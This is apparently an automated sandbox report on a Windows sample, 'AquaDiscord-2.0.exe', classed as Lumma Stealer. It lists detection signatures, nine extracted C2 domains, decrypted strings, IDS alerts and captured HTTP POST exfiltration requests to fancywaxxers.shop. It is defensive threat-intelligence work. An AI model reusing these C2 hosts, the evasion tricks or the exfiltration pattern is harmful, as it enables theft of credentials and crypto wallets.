Edit tour

Windows Analysis Report
AquaDiscord-2.0.exe

Overview

General Information

Sample name:	AquaDiscord-2.0.exe
Analysis ID:	1582529
MD5:	a15ebbc7798933dc1d436b59600f3aca
SHA1:	c666f3ea96290df82eba8452262fa9c84ad8b518
SHA256:	875390ef2cf52c86926147fed0ef8db6ddc8ad8422ecf5760462f2e03fc61bd3
Tags:	exeLummaStealeruser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

AquaDiscord-2.0.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\AquaDiscord-2.0.exe" MD5: A15EBBC7798933DC1D436B59600F3ACA)

conhost.exe (PID: 7332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AquaDiscord-2.0.exe (PID: 7400 cmdline: "C:\Users\user\Desktop\AquaDiscord-2.0.exe" MD5: A15EBBC7798933DC1D436B59600F3ACA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["fancywaxxers.shop", "nearycrepso.shop", "cloudewahsj.shop", "rabidcowse.shop", "framekgirus.shop", "tirepublicerj.shop", "wholersorie.shop", "abruptyopsn.shop", "noisycuttej.shop"], "Build id": "yau6Na--899083440"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.1737933383.0000000002E4E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1747045883.0000000002E4F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1737540016.0000000002E4B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AquaDiscord-2.0.exe PID: 7400	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: AquaDiscord-2.0.exe PID: 7400	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AquaDiscord-2.0.exe PID: 7400	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: AquaDiscord-2.0.exe PID: 7400	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T20:40:00.758376+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.16.1	443	TCP
2024-12-30T20:40:01.729539+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.16.1	443	TCP
2024-12-30T20:40:03.423030+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.16.1	443	TCP
2024-12-30T20:40:04.622792+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.16.1	443	TCP
2024-12-30T20:40:05.886609+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.16.1	443	TCP
2024-12-30T20:40:07.393149+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.16.1	443	TCP
2024-12-30T20:40:08.760534+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	104.21.16.1	443	TCP
2024-12-30T20:40:12.789707+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	104.21.16.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T20:40:01.241350+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.16.1	443	TCP
2024-12-30T20:40:02.279785+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.16.1	443	TCP
2024-12-30T20:40:13.250576+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49737	104.21.16.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T20:40:01.241350+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.16.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T20:40:02.279785+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.16.1	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T20:40:05.223121+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49733	104.21.16.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://fancywaxxers.shop/$	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/apitxtPK	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apif	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apik	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/apiu	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/api	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/apiR	Avira URL Cloud: Label: malware
Source: fancywaxxers.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/L	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/api7	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/api?	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api~J	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["fancywaxxers.shop", "nearycrepso.shop", "cloudewahsj.shop", "rabidcowse.shop", "framekgirus.shop", "tirepublicerj.shop", "wholersorie.shop", "abruptyopsn.shop", "noisycuttej.shop"], "Build id": "yau6Na--899083440"}

Multi AV Scanner detection for submitted file

Source: AquaDiscord-2.0.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 83.5% probability

Machine Learning detection for sample

Source: AquaDiscord-2.0.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: rabidcowse.shop
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: noisycuttej.shop
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: tirepublicerj.shop
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: framekgirus.shop
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: wholersorie.shop
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: abruptyopsn.shop
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: nearycrepso.shop
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: fancywaxxers.shop
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1671085473.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String decryptor: yau6Na--899083440

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe

Code function: 2_2_00414A9A CryptUnprotectData,

2_2_00414A9A

Source: AquaDiscord-2.0.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00B0B6A8 FindFirstFileExW,		0_2_00B0B6A8
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 0_2_00B0B759 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_00B0B759

Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+7A9041FFh]	2_2_0042207D
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+000000A0h]	2_2_0042207D
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then cmp word ptr [edi+eax], 0000h	2_2_00420830
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov byte ptr [edx], al	2_2_0042DA21
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax]	2_2_0043F23F
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov ecx, eax	2_2_0042D2FF
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_00414A9A
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+000002B4h]	2_2_00414A9A
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov esi, eax	2_2_00414A9A
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov ecx, eax	2_2_00439B30
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then add ecx, edx	2_2_00439B30
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then cmp byte ptr [edi+eax+09h], 00000000h	2_2_00439B30
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx ecx, di	2_2_00426B80
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov word ptr [edi], cx	2_2_0040CEC7
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-12h]	2_2_00440ED0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+0Eh]	2_2_00441F50
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov ecx, eax	2_2_0040D75B
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx esi, byte ptr [edx]	2_2_0040D75B
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+00000128h]	2_2_0040D75B
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+70DF14B1h]	2_2_0040D75B
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+486C2613h]	2_2_0040D75B
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then call 00440630h	2_2_0043CFDB
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+38h]	2_2_00427050
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov esi, ecx	2_2_00427050
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov ecx, eax	2_2_00427050
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov ecx, dword ptr [edi+eax]	2_2_00427879
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov ecx, eax	2_2_00427030
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov byte ptr [edx], al	2_2_0041B8D4
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov ebx, eax	2_2_00405910
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov ebp, eax	2_2_00405910
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+0F72769Fh]	2_2_00416914
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+00000130h]	2_2_00416914
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then cmp dword ptr [edi+eax*8], 7DA30DA1h	2_2_00416914
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00420130
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	2_2_0042B1E0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00421980
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+08h]	2_2_0043D9A0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_0042AA70
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov byte ptr [eax], cl	2_2_004162D2
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov dword ptr [esp+000000A4h], 00000000h	2_2_004162D2
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then push edi	2_2_0043EAF2
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0041AA81
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0041AA81
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_00436320
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov ecx, eax	2_2_0042BBCB
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_0042CC46
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	2_2_00407470
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov ecx, eax	2_2_0042BC0F
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov ecx, eax	2_2_0042BB79
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov edi, ecx	2_2_0041CD40
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00428D4A
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov ecx, eax	2_2_00413D50
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov eax, 00000001h	2_2_00413D50
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx-38328F31h]	2_2_0043D560
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	2_2_0042AD70
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_00423D10
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_00423D10
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then cmp al, 5Ch	2_2_00402530
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+20h]	2_2_00429DF0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_00423D10
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_00423D10
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then jmp eax	2_2_0040BDB9
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_00423E62
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_0042CE63
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then test eax, eax	2_2_0043A660
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 385488F2h	2_2_0043A660
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov edx, ecx	2_2_00416E62
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-7FCF7E90h]	2_2_00421600
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_0042C63D
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov edx, eax	2_2_0043F6E3
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then mov word ptr [ebx], ax	2_2_004096B0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+1Ah]	2_2_004096B0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+edi+00000090h]	2_2_00402F10
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+edx-17h]	2_2_00408FE0
Source: C:\Users\user\Desktop\AquaDiscord-2.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+000000B0h]	2_2_00417FBC

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49733 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 104.21.16.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: fancywaxxers.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop

Source: Joe Sandbox View

IP Address: 104.21.16.1 104.21.16.1

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.16.1:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PWVB9DTBKL8T9JJGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18155Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=31SE6XOSNI1GR4O9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8776Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=I24VIESSJNHBXRFHTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20435Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7QDHNTT6P9GXOFE73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1272Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QHWUI9X4NXFQ1AP7DFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 568932Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: fancywaxxers.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: fancywaxxers.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop

Source: AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
